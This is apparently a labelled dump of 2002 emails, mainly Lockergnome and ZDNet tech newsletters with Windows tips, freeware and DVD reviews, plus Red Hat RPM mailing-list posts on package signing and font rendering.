s tells all... Cheap PCs from Gateway... Sony's tiny digicam** Bil= l Gates shares his views on the top tech issues in his very own e-mail news= letter. Plus: Gateway entices back-to-school buyers with cheap PCs. And is = Sony's mini-digital camera a must-have fashion accessory? ---|---|--- =20 =20 =20 =20 =20 ![3D""News](3D""http://www.zdnet.co=) ** DAVID MORGENSTERN** | ![](3D""http://www.zdnet.com/graphics/anchordesk/fr=) ---|--- ![](3D""http://www.zdnet.co=) --- ![3D""DAVID](3D""http://www.zdnet.com/graphics/anchordesk/fr=) | | ![](3D""http://www.zdnet.com/graphics/anchordesk/fr=) **Wann= a speed up your Web surfing? Here's how** You dial-up Web surfers= are always trying to speed up your connections--which is why you like the = Propel service David Coursey recommended. But it's not the only way to figh= t the World Wide Wait. David sums up your suggestions. ---|---|--- =20 =20 **Quic= kPoll results: Would you pay $129 to upgrade to OS X 10.2?** <= p> =20 ![3D=](3D""http://www.zdnet.com/graphics/anchordesk/frontpage/head=) =20 =20 =20 =20 ** DAVID BERLIND** | ![](3D""http://www.zdnet.com/graphics/anchordesk/fr=) ---|--- ![](3D""http://www.zdnet.co=) --- ![3D""DAVID](3D""http://www.zdnet.com/graphics/anchordesk/fr=) | | ![](3D""http://www.zdnet.com/graphics/anchordesk/fr=) **Hey thief! You just TRY stealing this notebook ![](3D""http://www.zdnet.com/graphics/clear.gif=) Lay a hand on David's notebook, and it emits an unstoppable= , ear-piercing screech. Sound like a good way to prevent notebook theft? Da= vid thinks so, too. That's why he's been using the Caveo Anti-Theft securit= y system. ---|---|--- =20 =20 =20 =20 ** JOHN MORRIS AND JOSH TAYLOR** | ![](3D""http://www.zdnet.com/graphics/anchordesk/fr=) ---|--- ![](3D""http://www.zdnet.co=) --- ![3D""JOHN](3D""http://www.zdnet.com/graphics/anchordesk/fr=)<= br> | | ![](3D""http://www.zdnet.com/graphics/anchordesk/fr=) **What's new in reviews: The eMac--and more** ![](3D""http://www.zdnet.com/graphics/clear.gif"") After two long years, John is taking leave from Hits and Hy= pe. But never fear, the column lives on with Josh. In their final effort to= gether, the duo runs down the most notable products--such as the new eMac--= on ZDNet this week. ---|---|--- =20 =20 =20 =20 ** PRESTON GRALLA** | ![](3D""http://www.zdnet.com/graphics/anchordesk/fr=) ---|--- ![](3D""http://www.zdnet.co=) --- ![3D""PRESTON](3D""http://www.zdnet.com/graphics/anchordesk/fr=) | | ![](3D""http://www.zdnet.com/graphics/anchordesk/fr=) **Lights, camera...My favorite movie screensavers!=** ![](3D""http://www.zdnet.com/graphics/clear.g=) Love the movies? Wish you could be watching one instead of = sitting at your PC? Preston's got a way to bring Hollywood to your desktop = (well, almost): movie screensavers. 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HP is well-armed to battle IBM and Dell for server dominance. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Here's the source of HP's EPIC power** ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) **Latest from ZDNet News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Federal bill targets e- waste ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Wi-Fi group clears up naming confusion ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Movement grows to boost Wi-Fi hot spots ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Network defenders crack challenge ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Could WorldCom woes spark a price war? ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Web services breeds teamwork ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Gateway fights back with PC rebates ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **More Enterprise News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/dots249.gif) ![](http://www.zdnet.com/b.gif) **Farber's Picks** | ![](http://www.zdnet.com/b.gif) --- ![](http://www.zdnet.com/b.gif) ![](http://image.com.com/techupdate/i/dfarber.jpg) Dan Farber ![](http://www.zdnet.com/techupdate/i/dots75.gif) | ![](http://www.zdnet.com/b.gif) ---|--- **Bracing for an Internet meltdown** Companies around the world are developing co-location facilities, interviewing backup vendors and bolstering wireless capabilities in anticipation of potential **communication service problems**. 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Among the other complaints: cost overuns, unreliable technology, unstable vendors and disaster recovery . In contrast, **Fannie Mae CTO Julie St. John** said nothing keeps her up at night ""because I plan so far ahead on the infrastructure and the things that can bite us."" What about you? ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Take our QuickPoll** **Conditions for Itanium 2 adoption** **Gartner** thinks enterprises should evaluate their Itanium 2 strategy based on three key elements: **Hardware** , **OS** and **applications**. Wait until all three elements align before considering production deployment of Itanium 2 solutions. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full story** ![](http://techupdate.zdnet.com/techupdate/i/wayne_rash85x110.jpg) | ![](http://www.zdnet.com/b.gif) ---|--- **Senate stops P2P, so should you** The U.S. Senate sets a good, albeit belated, example by shutting off peer-to- peer networking. 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Click here to download now! --- Listen to Lockergnomie Dale Lowery and you'll save time immediately. It's an old tip, but it bears repeating: ""I'll often find Web snippets I'd like to keep - but I don't want to save the entire page. So, I've HOT-KEYED Notepad. Easy! Get to the most common Notepad shortcut icon: Start | Programs | Accessories | Notepad. Then right-click on the menu item and select Properties. You'll see that this is (indeed) a shortcut; in the lower part of the dialog is a field to add a hotkey. I entered 'N' for Notepad, Windows offered CTRL and ALT as a prefix, and now I can launch Notepad in an instant. I highlight the text I want to keep, copy it, tap my shortcut, paste it, and then save the new text file wherever I want. Most often, I use this trick to copy paragraphs that describe downloads (and save them as text files in the same folder as the download)."" Just make sure you don't pick a keyboard shortcut that's already in use. Otherwise, one of them is gonna get cranky. And while we're taking a trip down memory lane, Lockergnomie Ian Rich reminds us of Jouni Vuorio's utility: The site is jv16.org. The program is called jv16 Power Tools, and this freeware is truly worthy of praise. It combines a full- on registry management tool with several file manager tools: one to hunt down temporary files in any format and the other to help perform advanced file searches and comparisons. Mainly, I wanted the program to be brought to the attention of the consumer public, as it moves further and further along in development it just keeps getting better. I've used it on windows Me, and now XP - without crashes or hair-raising Registry corruption. It backs up everything it changes and is very easy to use. If you're interested in something of shareware-quality with forum support (for absolutely nothing), get this program. Anyway, I love the newsletter and the work you guys and gals do at Lockergnome. I hope that this author gets his recognition."" Consider this a huge nod! I love a good resource, and Lockergnomie Elton Jonsson from the United Kingdom has one for us, too: ""As a dedicated subscriber, I just had to tell about this one. Have you ever been driven mad trying to find out the name of the piece of music on a television advert? Well, at last, here in the UK, we have an answer to that problem and, given that many multinationals use the same advertising in the USA as they do here, it may help out you guys as well. Check out Commercial Breaks and Beats. I have no connection with it; I'm just grateful that someone has had the brilliant idea of creating it. If you check the message board on the site, you'll see that I'm not alone."" This Google Directory can help fill in the blanks, I'm sure. I almost fell out of my chair the other day when I heard ""Yeh Yeh"" (by TMBG) being played on a Chrysler advertisement. Way to go: John, John, Dan, Dan, and Dan! You're the dogs kids love to bite. And what's say we round out the report with another tip? Lockergnomie David Brown can oblige: ""The e-mail forwarding service is a good idea, but you can do it yourself with Outlook Express. Set up two accounts (one for your old account and one for your new one). Craft your reply in a new message and save it. Then, select Tools | Message Rules | Mail | New rule. Check 'Where the message is from specified account' in the first section. 'Reply with message"" in section two. Select the appropriate account and message in the final section. Name it. You can also have the messages flagged or moved to another folder if you want to know which messages came from the old account. Once the rule has been created, any mail from the old account will have a reply sent. People should learn about mail rules, anyway."" True! So, what rule simplifies your day? See You in August, Chris Pirillo GnomeDOWNLOADS --- | | **Latest Downloads** --- Search Engine Buil 1.45 System Cleaner 4.80 Smasher 2.9.16 PixPrint 3.69 BatchIt! Pro 3.10 HyperMaker HTML 2002.11 Crystal Button 1.41 Spytech SpamAgent 1.0 BadCopy Pro 3.20 STOPzilla! 1.0.8 WAPDraw 1.31 Network File Monit 2.04 **QuicKalendar v1.0.2 [430k] W9x/2k/XP FREE** http://www.trinfinitysoftware.com/quickalendar.shtml {Calendar utility} You say you want to get together on the 25th, but what DAY is that? I'm not good with calendar dates; truth be told, I don't even know what day of the week it is most the time. If I didn't have my PDA armed with a Calendar with me, then I wouldn't show up to anything on time, let alone on the right day. Well, that is great for when I am mobile, but what about when I am in front of my PC? The PDA is docked, but that doesn't mean I have to be without a calendar... enter QuicKalendar! ""QuicKalendar gives you quick and easy access to a calendar whenever you need it. You can view the calendar on screen, or print it out to jot down notes and appointments."" You need to keep in mind that the print feature is relative to how you have QuicKalendar displayed on your machine. If you are in full screen mode, then the printout will be bigger than a standard sheet of letter paper. If you try printing in normal view, then the printout will be too small to write on. My suggestion is to play with the size of QuicKalendar's screen until you get a printout that you can be proud of. Now, you'll have no reason to be late for Gnomedex! **Diatris v1.0 [407k] W9x/2k/XP FREE** http://www.webruler.com/mtreciokas/ {Tetris-like game} I've always been fascinated with geometric shapes. To me everything has to be somewhat symmetrical... even my hair! So it was no wonder why I was addicted to playing the game Tetris for so many years. The only problem with Tetris is that, after awhile, it starts to get a little too easy. Diatris is a bundle of three different - and much more challenging - Tetris- like games. ""For the first game, Y-Diatris, the objects can move vertically and diagonally. The second game, X-Diatris, the objects can move only in two diagonal directions; the vertical drop is taken out. For the last game H-Diatris the objects can only move vertically and horizontally like most block drop games."" I won't kid you, these games can be pretty hard, but if you are a Tetris fan, then these set of games are for you. If you're not a Tetris fan, don't worry, there are a few other games you might like on this site, so check it out! Recommend It! GnomeCLICKS --- ![TECHNOLOGY can be frustrating for new and intermediate computer users, UNTIL NOW. Join us for a FREE Windows Newsletter, video tutorials, articles, special reports, and more!](http://www.lockergnome.com/images/ads/icon.hotwindowstip.gif) | ![The easiest way to Zip/UnZip. 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This article also discusses how to troubleshoot common issues with CD-R and CD-RW devices. The steps in this article apply to compact disc (CD-ROM) drives, compact disc recordable (CD-R) drives, compact disc re-writable (CD-RW) drives, and digital video disc (DVD) drives."" To summarize, you should try the steps on this site before calling your technical support. Some of the steps include closing unnecessary software, testing the disc in a different computer, and cleaning the disc. Make sure to clean a disc by wiping from the center of the disc outward... if you wipe the disc in a circular fashion, then you risk scratching it. The steps in this article will only serve to save you time, as you will probably be able to fix most disc problems by following the steps. If this article doesn't help you resolve your disc problem, look on the bright side... you won't have to spend so much time on the phone with technical support, because you'll already know what the problem ISN'T! Recommend It! GnomeWILDCARD --- **Modem Spy v3.1.3b [230k] W9x/2k/XP $25** Unearthed by Sergei Polishchuk http://www.modemspy.com/ {Answering machine} ""Modem spy is a handy utility for phone calls recording. Features: 1) Records phone conversations. 2) Records from microphone. 3) Plays back recorded messages via phone line. 4) Plays back recorded messages via sound card. 5) Can record ALL incoming phone calls. 6) Has built-in software automatic gain control. 7) Detects and logs Caller ID."" Gnomie Brian Stevens tried this one out for us, but had a small problem testing this on any of his machines... he doesn't have any modems! Brian says, ""I was able to load the program, though, and try a few of the features out. You can record an audio memo to your machine, much like an answering machine. You can also e-mail this audio memo, although I don't recommend you do that as the WAV file didn't seem to play well when I tried e-mailing it to myself (which may have been due to the microphone it was recorded with). Other than that, Modem Spy is a solid program and is a great alternative to buying a traditional answering machine... plus in most cases it is cheaper!"" Keep in mind that, for Caller ID to work, you need the Caller ID service turned on by your phone service provider. Submit Your Thoughts | Recommend It! GnomeFAVORITE --- **GET HIGH-SPEED ACCESS:** Verizon Online DSL is an affordable, high-speed Internet connection. Click here to see if Verizon Online DSL is available in your area. ![](http://www.qksrv.net/image-471546-2202776) --- **The Avocado Papers** Unearthed by Meryl Evans http://www.theavocadopapers.com/ After surfing serious Web site upon serious Web site, you just need to find a site where you can relax and have a good time. TheAvocadoPapers.com is one of those sites that is a little bit goofy but extremely creative. It isn't that the Web site is really about anything; there is some creative writing (usually rather funny) and the occasional interview (this week ""Steve Schneider Interviews Himself""). If you are a little bit nosy, and want to peek into the lives of others, you can read Ron Bork's diary or enter the Avocado Chat. Although the makers of the Web site don't even know what it is about, I think it is quite apparent... fun! Go check out the Web site for yourself and see if you can pin down its rhyme or reason. Worst-case scenario, you can always sign up for their current promotion... free linguine! Recommend It! GnomeTIP --- This tip is for the Windows XP users out there. ""The Windows XP operating system achieves excellent performance in part by dynamic adjustments that it makes in response to how a system is utilized. In particular, many adjustments are made when the system first runs following setup and when newly installed applications are used for the first time. These adjustments greatly influence the performance of the system. Unfortunately, the dynamic nature of Windows XP can make benchmarking more of a challenge than with previous Windows versions."" To properly benchmark your Windows XP system, there are a few steps you should follow. The step with which we are concerned in this particular tip is letting your PC process any ""idle tasks."" Idle tasks are tasks that your PC executes when it deems the system to be unused or idle. Some of these include file placement optimization, system restore, and done-once-after-setup work items. ""All of these 'idle tasks' are controllable by a system API in advapi32.dll, ProcessIdleTasks. The API's sole purpose is to allow benchmarks a simple way to force any pending idle tasks to be executed immediately, without having to wait a lengthy period of time. To call ProcessIdleTasks from the command line, use this syntax: Rundll32.exe advapi32.dll,ProcessIdleTasks."" Once running, it may take up to around 15 minutes to process all of the idle tasks, and your hard drive will be active through most of it. For more steps on preparing your Windows XP machine for benchmarking, head over to the Windows Platform Development page on Benchmarking for Windows XP on Microsoft's site. Recommend It! | http://www.lockergnome.com/issues/daily/20020722.html Your subscribed e-mail address is: [qqqqqqqqqq-lg@example.com] - To unsubscribe or change your delivery address, please visit the subscription management page. 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We interrupt this quote for an important bulletin... ",0,1 Lockergnome Tech Specialist ,qqqqqqqqqq-lg@example.com,"Mon, 22 Jul 2002 10:27:10 -0500",[Lockergnome Tech Specialist] Concrete Geekitude,"![Lockergnome](http://images.lockergnome.com/images/gnomedaily.gif) ![Download Our eBooks](http://images.lockergnome.com/images/ads/gnometomes46860.gif) --- | 07.22.2002 GnomeREPORT --- **50 TIPS TO MAKE WINDOWS MORE USEFUL** Do you have to deal with Windows on a daily basis? Might as well maximize your time with it. You'll find that some of these tips will apply to other operating systems, too. The world of computing isn't so mysterious once you understand how it works. With this GnomeTome, you'll begin to work faster - and smarter. Download Windows Productivity Tips now! --- I did a lot this weekend, but I didn't really get much done, ya know? My knees are killing me from hauling stuff out of the basement for storage up in the attic, but the pile only made it as far as the kitchen. Then I stripped and painted the floor where that collection of stuff was previously stored, and erected some shelving so I'd have room for more stuff. I woke up the next morning discover a very sick ferret, likely from the fumes that leeched into the next room over despite the ventilation I had setup to prevent the migration of bad air. So, I ended up dismantling the ferret cage to move it upstairs for a week or so until I'm sure it's safe. Thankfully, all critters are doing well now. I also started in on replacing the cheapo rusted screws with stainless steel deck screws out back, but found that the ones I picked up are too weak, leaving me with stripped out heads and bent shafts. That project stopped after barely getting started. The front steps are also in need of rust- proof screws, but they are made from much softer wood, so I moved the tools to the other side of the house. Two-thirds of the way through the first row, I found that the extra 1/2"" on the screws I purchased was too much and I began running into the top of the old concrete steps underneath. Figures. Live and learn. Oh well, it was entirely too hot to work outside anyway. Back down to the basement I went to geek out instead. Roughly an hour into geekitude, I glanced over and realized it was 78.7 degrees in the basement and I was virtually stuck to my chair from the sweat. I shut off as much as I really could and still work on a couple of projects, but it didn't help the heat situation much. It was just too hot outside for the air conditioner to keep up with the added heat from the computers. That left me in need of a shower and with only the notebook in the living room for the balance of the weekend. I cleaned out a lot of ancient email, which was nice, but nothing really got accomplished otherwise. Boy, am I tired. And the weekend is so far away. Hey, the second season of M*A*S*H comes out on DVD tomorrow! That should put me in better spirits. I could watch M*A*S*H for hours on end. In fact, I often do just that. The only kink is that the episodes don't play back-to-back from DVD. I'm going to play with AppleScript on the Mac to see if I can customize how the individual discs play. In theory, I should be able to make a disc play all the way through. If I succeed, I'll be sure to share the script technique in the AppleCore newsletter. Too bad I can't do that with a stand-alone DVD player. See You in August, Randy Nieland GnomeNETWORK --- **Slow File Save Dialog Boxes** Pointed out by Ian Hargreaves http://support.microsoft.com/default.aspx?scid=kb;en-us;q321126 I've hated this one for a long time, and now we have a hotfix and a workaround, so take your pick as to which will work best. I often map drive letters to specific network shares, and if I happen to have a system turned off, I'll notice a significant delay when clicking the drop-down boxes in Open, Look In or Save In/As dialog boxes. Windows 2000 attempts to reconnect to mapped resources before showing you the list, and depending on how many drives you have mapped and how many of those resources are unavailable, it can take eons just to save a file. A workaround is to use the My Network Places functionality instead of mapping drive letters. Fine for some, but I prefer having drive letters mapped for many things, being that I work at a command prompt quite a bit, and it's easier to navigate that way. Alternatively, a hotfix is now available, but you'll have to contact Microsoft to obtain the fix if that's the route you choose. GnomeSYSTEM --- **Customized 9x/ME Blue Screen Errors** http://www.vsres.com/blscrn/ We've all seen 'em. Those annoyingly incoherent blue screens indicating a system error of some sort, but provide no real help in solving the problem. If you're a programmer that has had to deal with error conditions produced by Windows 95/98/ME, then this might be a better way to handle them within your applications. Blue Screen v1.21 is an ActiveX control that uses the standard Windows system error functions, but provides a way to pass along text and response options you designate. Note that this is not functional on Windows NT/2000/XP, which handle system errors in an entirely different manner. **Gamers Beware of Intel 845G Chipset** http://www.theinquirer.net/?article=4532 http://www.theinquirer.net/?article=4513 Discount the AMD hype and returned volley from Intel when reading up on all of this, but one thing is painfully clear. The Intel 845G chipset and P4 Celeron processors really don't provide an acceptable gaming experience. Not only is performance subject to ridicule, but compatibility is also looking to be a serious matter. Intel has never claimed that Celerons were high-end desktop processors, but they have typically provided a decent enough experience that they can make for acceptable machines for the more budget-minded consumer. The compatibility issues with this particular version of Celeron and the 845G chipset are something to watch out for. Once the Celeron is moved to the .13 micron core, I suspect the performance concern won't remain, but the 845G alone seems to have it's own problems without adding the Celeron misery. The lesson in knowing what hardware you're buying is what's important here. GnomeALERTZ --- **Today's Top 5 kbAlertz** * Q296133 - WD2002: Recorded Macro to Create Right-to-Left Style Records Paragraph Alignment Incorrectly (Q296133) * Q292152 - WD2002: Macro to Modify Currently Selected Text Does Not Work Correctly (Q292152) * Q292150 - WD2002: Undo Command Does Not Remove List Style Link to Paragraph Style (Q292150) * Q292094 - WD2002: Error Message: Microsoft Mail Local Fax Is Not Installed on Your System (Q292094) * Q292078 - WD2002: New Document Created by Macro While Word Is Minimized Opens in Restored State (Q292078) **CLEAN YOUR SYSTEM** Add/Remove Plus! 2002 offers a new and better way to uninstall programs you no longer want on your computer. All you have to do is double-click on a Desktop icon called ""Uninstall Programs"", quickly find the program you want to uninstall and click a button. Add/Remove Plus! 2002, unlike the standard Windows uninstall feature (the Control Panel Add/Remove Programs applet), will uninstall the program and remove it from the list. Get Your Copy of Add/Remove Plus Now! --- Recommend It! GnomeASSISTANT --- **Test Drive Compaq Servers** http://www.testdrive.compaq.com/ Compaq (Ok, HP) offers a set of servers running various *nix operating systems, as well as Oracle 9i, for test drive. Just register for an account and you can tinker around with Linux, FreeBSD or even Tru64 Unix running on an Alpha server, but without the hassle and expense of obtaining your own toys. I love the idea of having a pre- configured environment that lets you kick the tires without causing any permanent damage. GnomeSTUFF --- **Too Cool** http://www.pcworld.com/news/article/0,aid,102779,00.asp This was just too interesting not to mention. Water-cooled systems are all- the-rage among overclockers and those that seem to need bragging rights over their friends' computer systems. Hitachi is taking a chapter from that tome and applying the concept where it's truly needed - notebook computers. Believe me when I say that these suckers get very hot. I spend half my life with notebook planted on lap, and I have to put something between the two surfaces to avoid my own little heat stroke. Fans and the mini water cooling system Hitachi is implementing provide roughly the same heat mitigation efficiency, but without the noise. The concept of a water-cooled notebook sounds a little odd, but I would welcome the elimination of the turbine droning with open arms. Recommend It! | http://www.lockergnome.com/issues/techspecialist/20020722.html Your subscribed e-mail address is: [qqqqqqqqqq-lg@example.com] - To unsubscribe or change your delivery address, please visit the subscription management page. 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ISSN: 1095-3965. All Rights Reserved. Please read our Terms of Service. Our Web site is hosted by DigitalDaze. Domain registered at DNS Central. ",0,1 Lockergnome Digital Media ,qqqqqqqqqq-lg@example.com,"Mon, 22 Jul 2002 20:52:20 -0500",[Lockergnome Digital Media] Clever Ritual,"![Lockergnome](http://images.lockergnome.com/images/gnomedaily.gif) ![See You at Gnomedex 2002!](http://www.lockergnome.com/images/ads/textaloud468x60.gif) --- | 07.22.2002 MediaREPORT --- **TextAloud MP3 converts text to speech and to MP3** Listen to email, Web pages, e-books, and more on your PC or portable MP3 player. As featured in PC Magazine, The New York Times, and on CNN. Now available with optional AT&T; Natural Voices, the most advanced computer speech for your PC. Listen to a demo, then download your trial copy. --- Lockergnome's Guide to Converting Vinyl LPs to CD is no longer free. Over the last 10 days, almost 4,000 people downloaded the free tome. Of that 4,000, close to half put in a fake e-mail address, resulting in a ridiculous number of bounce messages in my inbox. Add to that the fact that several of the clever individuals used other people's real addresses, which then amounted to complaints of spam from the address owners. It's not worth providing a free service if it causes Lockergnome to be labeled a spammer as a result. The crowning gem was the in-duh-vidual who used the name A** Hole and Chris's personal address to download the PDF. On a more positive note, the guide is now available in all six formats, for the minimal price of $5, complete with some additional content based on a couple reader suggestions. Chris may have an obsession with Peets coffee, but I'll bet he's never been the daily special. On my visit to St. Louis, for the SIC, I started every morning with a walk to the West Port Starbucks. Apparently my morning ritual was a source of entertainment for the employees, which evolved into discussions of a reality based TV show based on the concept of stalking me. I've even got the incriminating evidence to prove it. The SIC provided me the opportunity to see some cool updates to a couple titles, in addition to being introduced to some useful audio oriented titles I'd never seen before. Expect a number of reviews over the next several weeks, as well as extensive coverage of last week's events in St. Louis in the annual SIC special issue. Lori managed to score a few more Gnomedex giveaways while we were in attendance, so those of you who sign up will be coming home with even more goodies, which, by the way, aren't of the stressball and pen variety -- we're talking software titles with reg codes. Jake Ludington GnomePRODUCER --- **NVIDIA CONTEST - SIGGRAPH 2002** http://www.siggraph.org/s2002/flashhome.html http://www.nvidia.com/ If you're in San Antonio July 23-25, for this year's Siggraph conference, you'll want to stop by the nVidia booth (#19102). Every 30 minutes 10 people will be competing for a NVIDIA Quadro4 750 XGL professional graphics solution, using NVIDIA-provided traditional art materials such as charcoal, pastels, crayons and paper to create something artistic. All artwork must be original, unpublished work. Artwork must also incorporate the NVIDIA logo and be created on-site at SIGGRAPH during the 10-minute contest round. Judging will be based on artistry; creativity and originality; technical merit; and theme incorporation. Artwork will not be returned to contestants and will become the property of NVIDIA as outlined in the contest registration form. Even if you don't win, you'll still get a free t-shirt. GnomeFEATURE --- **DreamQuest Championship Card Games** For Pocket PC, Palm, Symbian OS http://www.dq.com/palm.html Playing games on a PDA has killed plenty of my time spent waiting in airports around the US. With the recent porting of these three classic PC card games from DreamQuest, I've added some of the best in PC entertainment to my arsenal of PDA diversions. Hearts, Spades and Euchre all play in a similar manner to their PC versions, only on a smaller screen. Available for Pocket PC, Palm, and even the Symbian OS, you can play cards against computer opponents or connect to the online game room and challenge other players using any of the games multiple platforms. This is a unique experience currently unavailable for any other pocket games. GnomeSKIN --- **Yadnus forWinamp 2.x** by mc ![](images/blank.gif) Posted on 7/22/02 2:02PM -- ![Winamp 2.x by mc](http://www.deskmod.com/backend/deskmod/lncache/13132.gif) [Download] \-- [Zoom] \-- [Visit DeskMod] Get your copy of SkinStudio XP GnomeAUDIO --- **Rexway** http://artists.mp3s.com/artists/56/rexway.html Blending punk rock attitude with country twang makes for a fairly unique musical experience. I saw these guys play a show in Omaha, back in January of this year and was blown away by their stage presence. Rexway rip through an opening set with enough energy to kick-start even the most somber crowd, moving everyone in the audience to their feet and setting the scene for an entertaining evening. As with most punk, the lyrics are equal parts politics and angst, with enough colorful language to drop a jaw or two. Tool fans should check out the countrified version of the classic HWAP; it's kind of like a cover tune, only more unique. If you are offended by 4-letter words, this band isn't for you. **Get the privacy of your own office without the promotion.** Keep what you do on your PC private. Hide windows instantly, clear cache, cookies, history & more! Get a virtual Panic Button for your PC! Try it today! --- GnomePLUGIN --- **MEXP** For Winamp http://www.mexp.dk If you ever used Mp3 Archive with Winamp, you're already familiar with the concept behind this plug-in. Organize, search, and catalog your music collection. List artists in a tree view, complete with sub-headings for each song or album (depending on personal configuration). Additional details about your song listings appear in the right-hand pane. Also includes an Id3 tag editor, CDDB integration for simplifying tag edits, and Lyrics database support. Try it free for 30-days, if you feel more organized, register MEXP for either 14-bucks or 14-Euros. GnomeDVD --- ![DVD](http://images.lockergnome.com/images/dvd/croupier.jpg) Click for Details --- **Croupier** (NR) 1998 Drama - 94min Reviewer's Tilt (9) ![](http://images.lockergnome.com/images/dvdgnomefull.gif)![](http://images.lockergnome.com/images/dvdgnomefull.gif)![](http://images.lockergnome.com/images/dvdgnomefull.gif)![](http://images.lockergnome.com/images/dvdgnomefull.gif) Special DVD Features worth a look-Deleted scenes In disembodied first person Clockwork style narration, Croupier pessimistically compares our lives to those of hapless casino gamblers. We know the odds are stacked against us, yet we continue to play the games. Gamblers, or ""punters"" as they are more derogatorily known, however, play their games under the watchful eyes of the croupier (casino dealer). Constantly pulled by the siren song of fast money, the croupier knows better than anyone that to play is to lose. Thus, the cool croupier relegates himself to his addiction of watching others lose. Jack Manfred (Clive Owen) is the croupier, raised by his croupier father (Nicholas Ball) who taught him all the tricks of the trade. Through his losses both in the casino and in his personal life, Jack's father also taught Jack that the only way to win is not to play. Punters are sorry sods; the croupier is king. From father to son, the lesson passes -- watching others strive and falter is the only real enjoyment in life. Despite decades of croupier training, Jack is compelled to write the great novel burning deep inside him, yearning to escape. Jack's publisher regrettably relates to Jack that his novel idea is trite; stories of real life graft and corruption are what sell. When Jack's father informs Jack of a casino opening in a small London Casino, Jack snatches the opportunity to parlay his skill into a novel exposing the seedy underbelly of London's casinos. Unfortunately, Jack's ex-cop girlfriend sees the job hardening and irreparably changing Jack for the worst. In an attempt to fool himself, Jack creates alter ego ""Jake"" to bear the brunt of inequity, attempting to maintain Jack both morally and physically unscathed. The absence of any clear delineation between the personas becomes apparent when a lovely punter (Alex Kingston) approaches Jack with a scheme to rob the casino. Jack slowly comes to the realization that no one can have it both ways, either in the casino or in life. You are either in the game, or you are not. Seasoned veteran director Michael Hodges deftly crafts this tale around the subtle talents of the ultra cool Clive Owen. Owen rules this drama, not with flex and volume, but with glances and nods. Less is truly more, much more, in this low budget escape from the unsatisfying blockbuster suspense films of recent memory. Croupier proves that it is not a large budget, but direction, dialogue and acting that drive the genre. * Region 1 Encoding (US and Canada only) * Format: Color, Widescreen Anamorphic, Closed Captioned * Sound: Dolby Digital 2.0 Stereo * Deleted Scenes Review by Brett Trout GnomeWALLPAPER --- **Surgenate forWallPapers** by MooShoo ![](/images/blank.gif) Posted on 7/22/2002 12:35:00 AM -- ![Surgenate by MooShoo](http://www.wincustomize.com/library/accounts/MooShoo/wallpapers/tSurgenate.jpg) [Download] \-- [Zoom] \-- [Visit WinCustomize] | http://www.lockergnome.com/issues/digitalmedia/20020722.html Your subscribed e-mail address is: [qqqqqqqqqq-lg@example.com] - To unsubscribe or change your delivery address, please visit the subscription management page. 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BellSouth stock tumbled 18.07 percent after it missed Wall Street's earnings target and offered a worse-than-expected outlook. With shares of SBC Communications, Qwest Communications International, Sprint and AT&T; also dropping, CNET's Tech index shed 48.86 points, or 5.3 percent, to 897.37. The tech-heavy Nasdaq composite index fell 36.5 points, or 2.77 percent, to 1,282.55. With a report raising questions about Citigroup and J.P. Morgan Chase & Co.'s role in the Enron fiasco, broader markets lost ground as well. After a see-saw session, the Dow Jones industrials ended down 234.7 points, or 2.93 percent, to 7,784.5. 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It does not appear that copies downloaded via HTTP contained the Trojan horse; however, the CERT/CC encourages users who may have downloaded the source code via HTTP during this time period to take the steps outlined in the Solution section as a precautionary measure."" OK, it's now time to work out the PGP securing of apt repository traffic. I've never gotten anything but ""sitename.whatever will not be authenticated"" until running Redhat 8.0 when I get something about having ""No Key"" for various files. What's it take to ensure we're covered against this kind of childish/moronic/Microsoft-era problems? ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ angegangen, Schlange-Hften, sein es ganz rber jetzt. Bgel innen fest, weil es eine lange, ssse Fahrt ist. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ben Liblit ,rpm-list@freshrpms.net,"Tue, 08 Oct 2002 23:15:07 -0700",Re: RedHat 8.0 and his own freetype,"This is a multi-part message in MIME format. --Boundary_(ID_xjiotMI3LbV/zJ0Zs39NiA) Content-type: text/plain; charset=us-ascii; format=flowed Content-transfer-encoding: 7BIT Following further study, I've concluded: 1. It is easy to enable the bytecode interpreter. 2. This noticeably improves rendering of non-antialiased text. 3. This noticeably *harms* rendering of antialiased text. Point #3 probably surprises the rest of you as much as it surprised me. Ever since turning on the bytecode interpreter, I've been bugged by a sense that the antialiased text in my GNOME2 applications just looked, well, wrong somehow. I finally took some comparison screen shots with and without the interpreter, and that made the difference crystal clear. Consider the two images attached below. The first, ""no-bytecodes.png"", shows some text rendered by a GNOME2 panel menu without the bytecode interpreter. Contrast this with the second, ""bytecodes.png"", taken with the bytecode interpreter enabled. When the bytecode interpreter is turned on, notice that several rendering anomalies appear: - Several letters are narrower, giving the whole run of text a more compressed feel. This is especially noticeable in ""R"" and ""o"". - The left side of the ""Q"" is painted in too light a shade of grey, causing it to drop out somewhat. ""C"", not in this sample, has the same problem. - ""Qu"" are set right up against each other, with insufficient whitespace between them. - ""M"" is distinctly asymmetric. - The enclosed loop of ""a"" looks muddy, as it is partially filled with grey. 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On behalf of Frito-Lay, Inc., we are pleased to advise you that you've won Fourth Prize in the 3D's(R) Malcolm in the Middle(TM) Sweepstakes. Fourth Prize consists of 1 manufacturer's 